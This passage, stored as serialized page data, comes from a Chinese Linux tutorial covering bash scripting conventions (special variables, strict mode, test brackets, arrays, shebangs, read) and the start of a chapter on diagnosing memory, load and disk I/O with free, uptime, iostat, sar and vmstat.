里的敏感命令\n",[11,93140,93141],{},"位置参数与特殊变量：",[57,93143,93144,93156],{},[60,93145,93146],{},[63,93147,93148,93151,93153],{},[66,93149,93150],{},"变量",[66,93152,49671],{},[66,93154,93155],{},"关键区别",[79,93157,93158,93173,93193,93209,93231,93250,93266,93281,93299,93312],{},[63,93159,93160,93164,93167],{},[84,93161,93162],{},[22,93163,81496],{},[84,93165,93166],{},"脚本名",[84,93168,16105,93169,93172],{},[22,93170,93171],{},"basename \"$0\""," 做 usage 提示",[63,93174,93175,93185,93188],{},[84,93176,93177,5822,93179,272,93182],{},[22,93178,81492],{},[22,93180,93181],{},"$9",[22,93183,93184],{},"${10}",[84,93186,93187],{},"第 N 个参数",[84,93189,93190],{},[17,93191,93192],{},"10 个以上必须加花括号",[63,93194,93195,93200,93203],{},[84,93196,93197],{},[22,93198,93199],{},"$#",[84,93201,93202],{},"参数个数",[84,93204,93205,93206],{},"判断数量：",[22,93207,93208],{},"[ $# -lt 2 ] && usage",[63,93210,93211,93216,93222],{},[84,93212,93213],{},[22,93214,93215],{},"\"$@\"",[84,93217,93218,93219],{},"所有参数，",[17,93220,93221],{},"各自保持为独立词",[84,93223,93224,93225,272,93228],{},"正确默认写法；",[22,93226,93227],{},"for f in \"$@\"",[22,93229,93230],{},"cmd \"$@\"",[63,93232,93233,93238,93247],{},[84,93234,93235],{},[22,93236,93237],{},"\"$*\"",[84,93239,93240,93241,93243,93244,93246],{},"所有参数拼成",[17,93242,30418],{},"字符串（按 ",[22,93245,81492],{}," 分隔）",[84,93248,93249],{},"只在「要当成一整串」时用",[63,93251,93252,93256,93259],{},[84,93253,93254],{},[22,93255,54769],{},[84,93257,93258],{},"当前 shell PID",[84,93260,93261,93262,93265],{},"临时文件命名 ",[22,93263,93264],{},"f=$(mktemp)"," 更好",[63,93267,93268,93272,93275],{},[84,93269,93270],{},[22,93271,82108],{},[84,93273,93274],{},"上一条命令的退出码",[84,93276,93277,93278,93280],{},"0 成功；",[22,93279,48057],{}," 之后基本不用再手动查",[63,93282,93283,93288,93291],{},[84,93284,93285],{},[22,93286,93287],{},"$!",[84,93289,93290],{},"最后一个后台进程 PID",[84,93292,93293,32522,93296],{},[22,93294,93295],{},"cmd & pid=$!",[22,93297,93298],{},"kill $pid",[63,93300,93301,93306,93309],{},[84,93302,93303],{},[22,93304,93305],{},"$_",[84,93307,93308],{},"上一条命令的最后一个参数",[84,93310,93311],{},"交互式很好用",[63,93313,93314,93322,93325],{},[84,93315,93316,1901,93319],{},[22,93317,93318],{},"$-",[22,93320,93321],{},"$BASHPID",[84,93323,93324],{},"当前选项标志 \u002F 子 shell 真实 PID",[84,93326,93327],{},"判断是否交互 shell",[53,93329,93331],{"id":93330},"_6-脚本的标配","6. 脚本的标配",[308,93333,93335],{"className":3902,"code":93334,"language":3904,"meta":314,"style":314},"#!\u002Fusr\u002Fbin\u002Fenv bash\nset -euo pipefail\nIFS=$'\\n\\t'\n",[22,93336,93337,93342,93352],{"__ignoreMap":314},[331,93338,93339],{"class":333,"line":334},[331,93340,93341],{"class":1003},"#!\u002Fusr\u002Fbin\u002Fenv bash\n",[331,93343,93344,93346,93349],{"class":333,"line":341},[331,93345,2529],{"class":344},[331,93347,93348],{"class":344}," -euo",[331,93350,93351],{"class":365}," pipefail\n",[331,93353,93354,93357,93359,93362,93365],{"class":333,"line":357},[331,93355,93356],{"class":337},"IFS",[331,93358,518],{"class":616},[331,93360,93361],{"class":365},"$'",[331,93363,93364],{"class":344},"\\n\\t",[331,93366,93367],{"class":365},"'\n",[57,93369,93370,93381],{},[60,93371,93372],{},[63,93373,93374,93376,93378],{},[66,93375,8893],{},[66,93377,7759],{},[66,93379,93380],{},"为什么是标配",[79,93382,93383,93403,93418,93435,93457,93470,93483],{},[63,93384,93385,93392,93395],{},[84,93386,93387,4839,93389,5149],{},[22,93388,48057],{},[22,93390,93391],{},"-o errexit",[84,93393,93394],{},"命令失败立即退出",[84,93396,93397,93398,93400,93401,5149],{},"没有它，脚本会在错误状态上继续跑到底（",[22,93399,3936],{}," 失败后继续 ",[22,93402,52134],{},[63,93404,93405,93412,93415],{},[84,93406,93407,4839,93409,5149],{},[22,93408,92482],{},[22,93410,93411],{},"-o nounset",[84,93413,93414],{},"引用未定义变量即报错",[84,93416,93417],{},"抓拼写错误与「本该传参却忘了传」",[63,93419,93420,93425,93428],{},[84,93421,93422],{},[22,93423,93424],{},"set -o pipefail",[84,93426,93427],{},"管道里任一命令失败即失败",[84,93429,93430,93431,93434],{},"默认只看最后一个命令的退出码：",[22,93432,93433],{},"grep x file | wc -l"," 里 grep 失败被吞",[63,93436,93437,93445,93448],{},[84,93438,93439,4839,93442,5149],{},[22,93440,93441],{},"set -x",[22,93443,93444],{},"-o xtrace",[84,93446,93447],{},"打印每条命令的实际展开",[84,93449,93450,93453,93454],{},[17,93451,93452],{},"调试首选","，等价临时 ",[22,93455,93456],{},"bash -x script.sh",[63,93458,93459,93464,93467],{},[84,93460,93461],{},[22,93462,93463],{},"set -v",[84,93465,93466],{},"打印读入的原始行",[84,93468,93469],{},"看解析问题",[63,93471,93472,93477,93480],{},[84,93473,93474],{},[22,93475,93476],{},"set +x",[84,93478,93479],{},"关掉上面的跟踪",[84,93481,93482],{},"遇到密码时记得关",[63,93484,93485,93490,93493],{},[84,93486,93487],{},[22,93488,93489],{},"IFS=$'\\n\\t'",[84,93491,93492],{},"限制字段分割符",[84,93494,93495],{},"防文件名里的空格被拆",[11,93497,93498,93500,93501,8170,93504,655,93506,93508,93509,93511,93512,93515,93516,93518],{},[22,93499,48057],{}," 的例外（很多人踩）：条件语句里的命令（",[22,93502,93503],{},"if cmd; then",[22,93505,14406],{},[22,93507,1162],{}," 左侧、管道里非最后一个命令（无 ",[22,93510,48061],{}," 时）、以及被取反的 ",[22,93513,93514],{},"! cmd"," 都",[17,93517,36684],{},"触发退出。函数返回值看最后一条命令。",[53,93520,93522,93523,93525],{"id":93521},"_7-与-以及数组","7. [[ ]] 与 ",[331,93524],{},"，以及数组",[57,93527,93528,93546],{},[60,93529,93530],{},[63,93531,93532,93534,93540],{},[66,93533,36604],{},[66,93535,93536,93539],{},[22,93537,93538],{},"[ ]","（POSIX test）",[66,93541,93542,93545],{},[22,93543,93544],{},"[[ ]]","（bash 关键字）",[79,93547,93548,93564,93580,93598,93615,93629],{},[63,93549,93550,93553,93556],{},[84,93551,93552],{},"词拆分\u002F glob",[84,93554,93555],{},"会（变量必须加引号）",[84,93557,93558,18878,93560,93563],{},[17,93559,36684],{},[22,93561,93562],{},"[[ $x == *.log ]]"," 安全",[63,93565,93566,93569,93571],{},[84,93567,93568],{},"正则匹配",[84,93570,8273],{},[84,93572,93573,93576,93577,5149],{},[22,93574,93575],{},"[[ $f =~ ^[0-9]{3}$ ]]","（右侧",[17,93578,93579],{},"不要加引号",[63,93581,93582,93585,93593],{},[84,93583,93584],{},"逻辑组合",[84,93586,93587,93588,655,93590,93592],{},"只能用 ",[22,93589,87207],{},[22,93591,79698],{},"（有坑）",[84,93594,19605,93595,93597],{},[22,93596,14406],{}," 与逻辑或（双竖线），可嵌套",[63,93599,93600,93603,93610],{},[84,93601,93602],{},"字符串比较",[84,93604,93605,4839,93607,93609],{},[22,93606,518],{},[22,93608,63359],{}," 也接受但非 POSIX）",[84,93611,93612,93614],{},[22,93613,63359],{}," 支持模式匹配",[63,93616,93617,93620,93626],{},[84,93618,93619],{},"未加引号的空变量",[84,93621,93622,93625],{},[22,93623,93624],{},"[: too many arguments"," 报错",[84,93627,93628],{},"正常处理",[63,93630,93631,93634,93637],{},[84,93632,93633],{},"可用性",[84,93635,93636],{},"所有 sh",[84,93638,93639,93640,93642],{},"bash\u002Fzsh\u002Fksh（",[22,93641,75148],{}," 里不能用）",[11,93644,50971,93645,93656,93657,93659,93660,93662,93663,93665,93666,93668,93669,655,93671,272,93673,93675,93676,93679,93680,93683],{},[17,93646,93647,93648,18878,93650,93652,93653,93655],{},"bash 脚本一律 ",[22,93649,93544],{},[22,93651,48053],{}," 脚本一律 ",[22,93654,93538],{}," 并给变量加引号","。文件测试通用：",[22,93658,88087],{}," 存在、",[22,93661,48296],{}," 普通文件、",[22,93664,49282],{}," 目录、",[22,93667,84504],{}," 可执行、",[22,93670,83043],{},[22,93672,88076],{},[22,93674,88080],{}," 非空、",[22,93677,93678],{},"-L"," 符号链接、",[22,93681,93682],{},"a -nt b"," 更新。",[11,93685,93686],{},"数组与关联数组：",[308,93688,93690],{"className":3902,"code":93689,"language":3904,"meta":314,"style":314},"files=(a.log b.log c.log)\necho \"${files[1]}\"           # b.log\necho \"${#files[@]}\"          # 3（元素数）\nprintf '%s\\n' \"${files[@]}\"  # 全部展开，各占一行\nfiles+=(d.log)               # 追加\nunset 'files[1]'             # 删元素（注意引号，否则 shell 先展开）\n\ndeclare -A seen              # 关联数组（bash 4+，Alpine 的 ash 不支持）\nseen[10.0.0.12]=42\nfor k in \"${!seen[@]}\"; do echo \"$k => ${seen[$k]}\"; done\n(( seen[10.0.0.12]++ ))      # 计数惯用式\n",[22,93691,93692,93712,93726,93746,93765,93782,93792,93796,93808,93816,93864],{"__ignoreMap":314},[331,93693,93694,93697,93699,93701,93704,93707,93710],{"class":333,"line":334},[331,93695,93696],{"class":337},"files",[331,93698,518],{"class":616},[331,93700,966],{"class":337},[331,93702,93703],{"class":365},"a.log",[331,93705,93706],{"class":365}," b.log",[331,93708,93709],{"class":365}," c.log",[331,93711,972],{"class":337},[331,93713,93714,93716,93718,93720,93723],{"class":333,"line":341},[331,93715,49056],{"class":344},[331,93717,48997],{"class":365},[331,93719,93696],{"class":337},[331,93721,93722],{"class":365},"[1]}\"",[331,93724,93725],{"class":1003},"           # b.log\n",[331,93727,93728,93730,93732,93734,93736,93738,93740,93743],{"class":333,"line":357},[331,93729,49056],{"class":344},[331,93731,48997],{"class":365},[331,93733,20333],{"class":616},[331,93735,93696],{"class":337},[331,93737,2487],{"class":365},[331,93739,20285],{"class":616},[331,93741,93742],{"class":365},"]}\"",[331,93744,93745],{"class":1003},"          # 3（元素数）\n",[331,93747,93748,93750,93752,93754,93756,93758,93760,93762],{"class":333,"line":371},[331,93749,48991],{"class":344},[331,93751,77998],{"class":365},[331,93753,48997],{"class":365},[331,93755,93696],{"class":337},[331,93757,2487],{"class":365},[331,93759,20285],{"class":616},[331,93761,93742],{"class":365},[331,93763,93764],{"class":1003},"  # 全部展开，各占一行\n",[331,93766,93767,93769,93771,93773,93776,93779],{"class":333,"line":384},[331,93768,93696],{"class":337},[331,93770,25647],{"class":616},[331,93772,966],{"class":337},[331,93774,93775],{"class":365},"d.log",[331,93777,93778],{"class":337},")               ",[331,93780,93781],{"class":1003},"# 追加\n",[331,93783,93784,93786,93789],{"class":333,"line":397},[331,93785,92569],{"class":344},[331,93787,93788],{"class":365}," 'files[1]'",[331,93790,93791],{"class":1003},"             # 删元素（注意引号，否则 shell 先展开）\n",[331,93793,93794],{"class":333,"line":418},[331,93795,998],{"emptyLinePlaceholder":997},[331,93797,93798,93800,93802,93805],{"class":333,"line":427},[331,93799,92580],{"class":616},[331,93801,76686],{"class":344},[331,93803,93804],{"class":337}," seen              ",[331,93806,93807],{"class":1003},"# 关联数组（bash 4+，Alpine 的 ash 不支持）\n",[331,93809,93810,93813],{"class":333,"line":439},[331,93811,93812],{"class":501},"seen[10.0.0.12]",[331,93814,93815],{"class":365},"=42\n",[331,93817,93818,93820,93823,93825,93827,93829,93832,93834,93836,93838,93840,93842,93844,93846,93849,93852,93854,93856,93858,93860,93862],{"class":333,"line":450},[331,93819,18917],{"class":616},[331,93821,93822],{"class":337}," k ",[331,93824,27385],{"class":616},[331,93826,48997],{"class":365},[331,93828,1150],{"class":616},[331,93830,93831],{"class":337},"seen",[331,93833,2487],{"class":365},[331,93835,20285],{"class":616},[331,93837,93742],{"class":365},[331,93839,620],{"class":337},[331,93841,63897],{"class":616},[331,93843,89851],{"class":344},[331,93845,51992],{"class":365},[331,93847,93848],{"class":337},"$k",[331,93850,93851],{"class":365}," => ${",[331,93853,93831],{"class":337},[331,93855,2487],{"class":365},[331,93857,93848],{"class":337},[331,93859,93742],{"class":365},[331,93861,620],{"class":337},[331,93863,89882],{"class":616},[331,93865,93866,93869,93871,93873,93875,93877,93879,93881,93884,93887,93889,93892],{"class":333,"line":456},[331,93867,93868],{"class":337},"(( seen[",[331,93870,724],{"class":344},[331,93872,1192],{"class":337},[331,93874,628],{"class":344},[331,93876,1192],{"class":337},[331,93878,628],{"class":344},[331,93880,1192],{"class":337},[331,93882,93883],{"class":344},"12",[331,93885,93886],{"class":337},"]",[331,93888,29231],{"class":616},[331,93890,93891],{"class":337}," ))      ",[331,93893,93894],{"class":1003},"# 计数惯用式\n",[53,93896,93898],{"id":93897},"_8-shebang执行方式与-read","8. shebang、执行方式与 read",[57,93900,93901,93909],{},[60,93902,93903],{},[63,93904,93905,93907],{},[66,93906,19254],{},[66,93908,49671],{},[79,93910,93911,93920,93930,93942,93956],{},[63,93912,93913,93917],{},[84,93914,93915],{},[22,93916,75152],{},[84,93918,93919],{},"固定用 bash（发行版路径一致时最简单）",[63,93921,93922,93927],{},[84,93923,93924],{},[22,93925,93926],{},"#!\u002Fusr\u002Fbin\u002Fenv bash",[84,93928,93929],{},"从 PATH 找 bash，跨系统更稳（Nix\u002F自编译场景必备）",[63,93931,93932,93936],{},[84,93933,93934],{},[22,93935,75148],{},[84,93937,93938,93939,93941],{},"承诺只用 POSIX（此时不能 ",[22,93940,93544],{},"、不能用数组）",[63,93943,93944,93949],{},[84,93945,93946],{},[22,93947,93948],{},"#!\u002Fusr\u002Fbin\u002Fenv -S bash -eu",[84,93950,93951,93952,93955],{},"env 的 ",[22,93953,93954],{},"-S"," 把参数一起传（GNU coreutils 8.30+）",[63,93957,93958,93961],{},[84,93959,93960],{},"没有 shebang",[84,93962,93963,93964,93967],{},"由调用者决定；",[22,93965,93966],{},"sh script.sh"," 会按 POSIX 跑，bash 语法当场报错",[308,93969,93971],{"className":3902,"code":93970,"language":3904,"meta":314,"style":314},"chmod +x deploy.sh          # 加执行位（没有它 .\u002Fdeploy.sh 报 Permission denied）\nbash deploy.sh              # 显式用 bash 跑，不需要执行位\nsource deploy.sh            # 在当前 shell 执行（cd 与 export 会留下来）；. .\u002Fenv.sh 是 POSIX 写法\n.\u002Fdeploy.sh                 # 子 shell 执行（最常见：改了 PATH 却没生效，就是用了 .\u002F）\n\nread -p \"目标环境 [dev\u002Fprod]: \" env     # 提示 + 读一行到 env\nread -r -d '' big \u003C file                 # 读整个文件（-d '' 以 NUL 结束）\nread -s -p \"密码: \" pass \u003C \u002Fdev\u002Ftty      # -s 不回显；从 tty 读而非管道\nprintf '%s\\n' a b c | while IFS= read -r line; do …; done   # 逐行读的正确姿势\nread -t 5 -n 1 -p \"按任意键继续\" _       # 带超时与单字符\n",[22,93972,93973,93985,93994,94003,94011,94015,94030,94050,94072,94115],{"__ignoreMap":314},[331,93974,93975,93977,93980,93982],{"class":333,"line":334},[331,93976,78386],{"class":501},[331,93978,93979],{"class":365}," +x",[331,93981,78405],{"class":365},[331,93983,93984],{"class":1003},"          # 加执行位（没有它 .\u002Fdeploy.sh 报 Permission denied）\n",[331,93986,93987,93989,93991],{"class":333,"line":341},[331,93988,3904],{"class":501},[331,93990,78405],{"class":365},[331,93992,93993],{"class":1003},"              # 显式用 bash 跑，不需要执行位\n",[331,93995,93996,93998,94000],{"class":333,"line":357},[331,93997,55942],{"class":344},[331,93999,78405],{"class":365},[331,94001,94002],{"class":1003},"            # 在当前 shell 执行（cd 与 export 会留下来）；. .\u002Fenv.sh 是 POSIX 写法\n",[331,94004,94005,94008],{"class":333,"line":371},[331,94006,94007],{"class":501},".\u002Fdeploy.sh",[331,94009,94010],{"class":1003},"                 # 子 shell 执行（最常见：改了 PATH 却没生效，就是用了 .\u002F）\n",[331,94012,94013],{"class":333,"line":384},[331,94014,998],{"emptyLinePlaceholder":997},[331,94016,94017,94019,94021,94024,94027],{"class":333,"line":397},[331,94018,42146],{"class":344},[331,94020,36941],{"class":344},[331,94022,94023],{"class":365}," \"目标环境 [dev\u002Fprod]: \"",[331,94025,94026],{"class":365}," env",[331,94028,94029],{"class":1003},"     # 提示 + 读一行到 env\n",[331,94031,94032,94034,94036,94038,94040,94043,94045,94047],{"class":333,"line":418},[331,94033,42146],{"class":344},[331,94035,81798],{"class":344},[331,94037,36867],{"class":344},[331,94039,1203],{"class":365},[331,94041,94042],{"class":365}," big",[331,94044,56905],{"class":616},[331,94046,10499],{"class":365},[331,94048,94049],{"class":1003},"                 # 读整个文件（-d '' 以 NUL 结束）\n",[331,94051,94052,94054,94056,94058,94061,94064,94066,94069],{"class":333,"line":427},[331,94053,42146],{"class":344},[331,94055,15978],{"class":344},[331,94057,36941],{"class":344},[331,94059,94060],{"class":365}," \"密码: \"",[331,94062,94063],{"class":365}," pass",[331,94065,56905],{"class":616},[331,94067,94068],{"class":365}," \u002Fdev\u002Ftty",[331,94070,94071],{"class":1003},"      # -s 不回显；从 tty 读而非管道\n",[331,94073,94074,94076,94078,94080,94082,94084,94086,94089,94092,94094,94097,94099,94102,94104,94106,94108,94110,94112],{"class":333,"line":439},[331,94075,48991],{"class":344},[331,94077,77998],{"class":365},[331,94079,60744],{"class":365},[331,94081,60747],{"class":365},[331,94083,67556],{"class":365},[331,94085,15984],{"class":616},[331,94087,94088],{"class":616}," while",[331,94090,94091],{"class":337}," IFS",[331,94093,518],{"class":616},[331,94095,94096],{"class":344}," read",[331,94098,81798],{"class":344},[331,94100,94101],{"class":365}," line",[331,94103,620],{"class":337},[331,94105,63897],{"class":616},[331,94107,20493],{"class":501},[331,94109,620],{"class":337},[331,94111,32880],{"class":616},[331,94113,94114],{"class":1003},"   # 逐行读的正确姿势\n",[331,94116,94117,94119,94121,94123,94125,94127,94129,94132,94135],{"class":333,"line":450},[331,94118,42146],{"class":344},[331,94120,48230],{"class":344},[331,94122,21697],{"class":344},[331,94124,75986],{"class":344},[331,94126,30777],{"class":344},[331,94128,36941],{"class":344},[331,94130,94131],{"class":365}," \"按任意键继续\"",[331,94133,94134],{"class":365}," _",[331,94136,94137],{"class":1003},"       # 带超时与单字符\n",[11,94139,94140,94142,94143,94145,94146,94149,94150,94156],{},[22,94141,42146],{}," 的两个必备参数：",[22,94144,83043],{},"（否则反斜杠被吃掉）、配 ",[22,94147,94148],{},"IFS=","（否则行首尾空白被去）。逐行处理文件时",[17,94151,94152,94153],{},"不要用 ",[22,94154,94155],{},"for line in $(cat file)","——它会按空白拆且丢失空行。",[53,94158,75156],{"id":94159},"踩坑提醒-15",[1773,94161,94162,94178,94185,94194,94208,94220],{},[1662,94163,94164,5160,94166,655,94168,94170,94171,94174,94175,161],{},[22,94165,48057],{},[22,94167,11541],{},[22,94169,14406],{}," 组合时不生效是",[17,94172,94173],{},"设计","，不是 bug；关键步骤显式判返回值或加 ",[22,94176,94177],{},"|| exit 1",[1662,94179,94180,5160,94182,94184],{},[22,94181,93237],{},[22,94183,93215],{}," 写反了不会报错，只会把带空格的参数粘成一坨——这是脚本处理文件名出问题的第一来源。",[1662,94186,94187,94188,94191,94192,161],{},"反引号里的 ",[22,94189,94190],{},"$( )"," 混用导致转义地狱：全文统一 ",[22,94193,82758],{},[1662,94195,94196,94197,655,94199,94201,94202,94205,94206,161],{},"修改 ",[22,94198,47784],{},[22,94200,3936],{}," 之后在下一个命令里「没变化」，几乎一定是因为你用了 ",[22,94203,94204],{},".\u002Fscript.sh","（子 shell）而不是 ",[22,94207,55942],{},[1662,94209,94210,94212,94213,94215,94216,94219],{},[22,94211,92967],{}," 里写了 ",[22,94214,48057],{}," 会让交互 shell 在命令失败后",[17,94217,94218],{},"直接退出","——这是很危险的误配，选项只该写在脚本里。",[1662,94221,16105,94222,94224,94225,94227,94228,161],{},[22,94223,49056],{}," 输出以 ",[22,94226,6659],{}," 开头的内容会被当参数：统一用 ",[22,94229,94230],{},"printf '%s\\n'",[48,94232,94234],{"id":94233},"十七性能与排障freeiostatstrace-与总速查表","十七、性能与排障：free、iostat、strace 与总速查表",[11,94236,94237],{},"机器慢、服务挂、磁盘满、连不上——排障的通用方法是「用一小组命令把每个资源维度各看一眼」，而不是凭猜测乱翻。这一章先给每个资源的观测命令，再给一张「现象 → 先跑哪几条」的映射表，最后收口成「想干一件事 → 用什么命令」的总速查表。",[4748,94239],{"height":5635,"src":94240,"title":94241},"\u002Ftutorials\u002Flinux\u002Fdemos\u002F17-troubleshoot.html","示例 17：现象到命令的排障路径与总速查表",[53,94243,94245],{"id":94244},"_1-free-内存available-才是重点","1. free —— 内存：available 才是重点",[308,94247,94249],{"className":3902,"code":94248,"language":3904,"meta":314,"style":314},"free -h\n",[22,94250,94251],{"__ignoreMap":314},[331,94252,94253,94255],{"class":333,"line":334},[331,94254,57359],{"class":501},[331,94256,94257],{"class":344}," -h\n",[308,94259,94261],{"className":75245,"code":94260,"language":75247,"meta":314,"style":314},"               total        used        free      shared  buff\u002Fcache   available\nMem:           7.7Gi       3.1Gi       214Mi       18Mi       4.3Gi       4.2Gi\nSwap:          1.9Gi       128Mi       1.8Gi\n",[22,94262,94263,94268,94273],{"__ignoreMap":314},[331,94264,94265],{"class":333,"line":334},[331,94266,94267],{},"               total        used        free      shared  buff\u002Fcache   available\n",[331,94269,94270],{"class":333,"line":341},[331,94271,94272],{},"Mem:           7.7Gi       3.1Gi       214Mi       18Mi       4.3Gi       4.2Gi\n",[331,94274,94275],{"class":333,"line":357},[331,94276,94277],{},"Swap:          1.9Gi       128Mi       1.8Gi\n",[57,94279,94280,94291],{},[60,94281,94282],{},[63,94283,94284,94286,94288],{},[66,94285,84121],{},[66,94287,49671],{},[66,94289,94290],{},"读法",[79,94292,94293,94305,94321,94336,94352,94367],{},[63,94294,94295,94299,94302],{},[84,94296,94297],{},[22,94298,30973],{},[84,94300,94301],{},"物理内存总量",[84,94303,94304],{},"减去内核占用才是可用上限",[63,94306,94307,94312,94315],{},[84,94308,94309],{},[22,94310,94311],{},"used",[84,94313,94314],{},"应用真正占用",[84,94316,94317,94320],{},[22,94318,94319],{},"used = total - free - buff\u002Fcache","（不同版本算法略有差异）",[63,94322,94323,94327,94333],{},[84,94324,94325],{},[22,94326,57359],{},[84,94328,94329,94332],{},[17,94330,94331],{},"完全没被用过","的内存",[84,94334,94335],{},"小是正常的，Linux 会把空闲内存拿去做页缓存",[63,94337,94338,94343,94346],{},[84,94339,94340],{},[22,94341,94342],{},"buff\u002Fcache",[84,94344,94345],{},"块设备缓冲 + 页缓存",[84,94347,94348,94351],{},[17,94349,94350],{},"可随时回收","，看着大不是问题",[63,94353,94354,94359,94362],{},[84,94355,94356],{},[22,94357,94358],{},"available",[84,94360,94361],{},"估算「还能给新应用多少」（free + 可回收的 cache）",[84,94363,94364],{},[17,94365,94366],{},"判断内存够不够只看这一列",[63,94368,94369,94374,94380],{},[84,94370,94371],{},[22,94372,94373],{},"shared",[84,94375,94376,94377,94379],{},"tmpfs（含 ",[22,94378,55534],{},"）占用",[84,94381,94382],{},"变大会真吃掉内存",[11,94384,94385,94386,94388,94389,268,94392,94395,94396,1677,94398,655,94400,94402,94403,94405,94406,94409,94410,94413,94414,94417],{},"「内存吃满」的判据：",[22,94387,94358],{}," 很小 ",[17,94390,94391],{},"且",[22,94393,94394],{},"Swap"," 开始进出（",[22,94397,85323],{},[22,94399,85360],{},[22,94401,85363],{}," 非 0）。只看 ",[22,94404,57359],{}," 那一列得出「内存不足」的结论是错的。查谁在用：",[22,94407,94408],{},"ps -eo pid,user,rss,cmd --sort=-rss | head","（RSS 单位 KB）、",[22,94411,94412],{},"smem -rk","（含 PSS，共享内存分摊更准）、",[22,94415,94416],{},"sudo systemd-cgtop memory","（按 cgroup 看，容器环境最准）。",[53,94419,94421],{"id":94420},"_2-uptime-负载要结合核数看","2. uptime —— 负载：要结合核数看",[308,94423,94425],{"className":3902,"code":94424,"language":3904,"meta":314,"style":314},"uptime    #  09:42:11 up 14 days,  3:29,  2 users,  load average: 1.85, 1.42, 0.98\nnproc     #  4\n",[22,94426,94427,94435],{"__ignoreMap":314},[331,94428,94429,94432],{"class":333,"line":334},[331,94430,94431],{"class":501},"uptime",[331,94433,94434],{"class":1003},"    #  09:42:11 up 14 days,  3:29,  2 users,  load average: 1.85, 1.42, 0.98\n",[331,94436,94437,94439],{"class":333,"line":341},[331,94438,55556],{"class":501},[331,94440,94441],{"class":1003},"     #  4\n",[57,94443,94444,94454],{},[60,94445,94446],{},[63,94447,94448,94451],{},[66,94449,94450],{},"观察",[66,94452,94453],{},"判读",[79,94455,94456,94467,94486,94501],{},[63,94457,94458,94461],{},[84,94459,94460],{},"1 \u002F 5 \u002F 15 分钟三个数",[84,94462,94463,94464],{},"短期抖动看第一个；持续升高看第三个；",[17,94465,94466],{},"15 分钟值高才是真有问题",[63,94468,94469,94472],{},[84,94470,94471],{},"与核数之比",[84,94473,94474,94477,94478,94481,94482,94485],{},[22,94475,94476],{},"load \u002F nproc"," ≈ 1 表示刚好排满；4 核上 ",[22,94479,94480],{},"load 8"," = 一半时间在排队；",[22,94483,94484],{},"load 1"," 在 4 核上算很闲",[63,94487,94488,94494],{},[84,94489,94490,94491,94493],{},"高 load 但 ",[22,94492,84166],{}," 不高",[84,94495,94496,94497,94500],{},"说明在等 ",[17,94498,94499],{},"D 状态","（磁盘\u002FNFS）——不是 CPU 不够，去查 IO",[63,94502,94503,94506],{},[84,94504,94505],{},"容器里的 load",[84,94507,94508,94509,94512,94513,94515,94516],{},"显示的是",[17,94510,94511],{},"宿主机","的，不能用它判断容器健康；看 ",[22,94514,45986],{}," 或 cgroup 的 ",[22,94517,94518],{},"cpu.stat",[11,94520,94521,94522,94524,94525,94527,94528,94530,94531,94533,94534,655,94536,94539,94540,8170,94542,94545,94546,655,94548,272,94550,94553,94554,94556,94557,94560,94561,161],{},"CPU 各时间的细分来源：",[22,94523,84575],{},"（应用代码）、",[22,94526,84579],{},"（内核，",[22,94529,84579],{}," 高常见于频繁上下文切换\u002F系统调用风暴）、",[22,94532,84588],{},"（等 IO）、",[22,94535,85360],{},[22,94537,94538],{},"hi","（软\u002F硬中断，网络包风暴会打高 ",[22,94541,85360],{},[22,94543,94544],{},"st","（被宿主机「偷走」的时间，云主机常见）。工具：",[22,94547,50045],{},[22,94549,84836],{},[22,94551,94552],{},"mpstat -P ALL 1","（每核分布）、",[22,94555,85387],{},"（每进程）、",[22,94558,94559],{},"perf top","（热点函数，需 kernel 权限）、cgroup 限额导致的 ",[22,94562,94563],{},"throttled_time",[53,94565,94567],{"id":94566},"_3-iostatsarvmstat-磁盘-io","3. iostat、sar、vmstat —— 磁盘 IO",[57,94569,94570,94581],{},[60,94571,94572],{},[63,94573,94574,94576,94578],{},[66,94575,10969],{},[66,94577,5040],{},[66,94579,94580],{},"关键列",[79,94582,94583,94616,94654,94680,94698,94710],{},[63,94584,94585,94591,94596],{},[84,94586,94587,94590],{},[22,94588,94589],{},"iostat","（sysstat 包）",[84,94592,94593],{},[22,94594,94595],{},"iostat -xz 1",[84,94597,94598,94601,94602,94604,94605,655,94608,94611,94612,94615],{},[22,94599,94600],{},"%util","（设备繁忙比例，接近 100 说明设备是瓶颈）、",[22,94603,3286],{},"（平均等待 ms，SSD 应 \u003C1，HDD \u003C10）、",[22,94606,94607],{},"r_await",[22,94609,94610],{},"w_await"," 分开看、",[22,94613,94614],{},"avgqu-sz","（队列深度）",[63,94617,94618,94623,94645],{},[84,94619,94620],{},[22,94621,94622],{},"sar",[84,94624,94625,94628,94629,94632,94633,94636,94637,94640,94641,94644],{},[22,94626,94627],{},"sar -d 1 3","（磁盘）、",[22,94630,94631],{},"sar -u 1","（CPU）、",[22,94634,94635],{},"sar -r 1","（内存）、",[22,94638,94639],{},"sar -n DEV 1","（网卡）、",[22,94642,94643],{},"sar -B 1","（换页）",[84,94646,94647,322,94650,94653],{},[17,94648,94649],{},"能查历史",[22,94651,94652],{},"sar -u -f \u002Fvar\u002Flog\u002Fsa\u002Fsa04","，排「昨天 3 点发生了什么」的唯一实用工具",[63,94655,94656,94660,94665],{},[84,94657,94658],{},[22,94659,85323],{},[84,94661,94662],{},[22,94663,94664],{},"vmstat 1",[84,94666,94667,94669,94670,94672,94673,655,94675,94677,94678],{},[22,94668,66333],{},"（运行队列）、",[22,94671,22158],{},"（IO 阻塞数，持续 >0 说明 IO 堵）、",[22,94674,85360],{},[22,94676,85363],{},"（swap 活动）、",[22,94679,84588],{},[63,94681,94682,94687,94692],{},[84,94683,94684],{},[22,94685,94686],{},"iotop",[84,94688,94689],{},[22,94690,94691],{},"sudo iotop -o",[84,94693,94694,94695,94697],{},"哪个进程在读写（",[22,94696,79698],{}," 只显示有 IO 的）",[63,94699,94700,94705,94708],{},[84,94701,94702],{},[22,94703,94704],{},"pidstat -d 1 -p PID",[84,94706,94707],{},"每进程读写 KB\u002Fs",[84,94709,5122],{},[63,94711,94712,94720,94723],{},[84,94713,94714,655,94717],{},[22,94715,94716],{},"blktrace",[22,94718,94719],{},"biosnoop",[84,94721,94722],{},"BCC\u002Fbpftrace",[84,94724,94725],{},"内核级追踪，深度排障",[11,94727,94728,94730,94731,94734,94735,94737,94738,94740,94741,94744,94745,6745,94748,94751],{},[22,94729,94600],{}," 对 SSD\u002FNVMe 阵列",[17,94732,94733],{},"不再等于饱和","（它能并行），要看 ",[22,94736,3286],{}," 与队列深度。",[22,94739,94622],{}," 的历史数据需要 ",[22,94742,94743],{},"sysstat"," 服务开启（",[22,94746,94747],{},"cat \u002Fetc\u002Fsysstat",[22,94749,94750],{},"ENABLED=yes","，RHEL 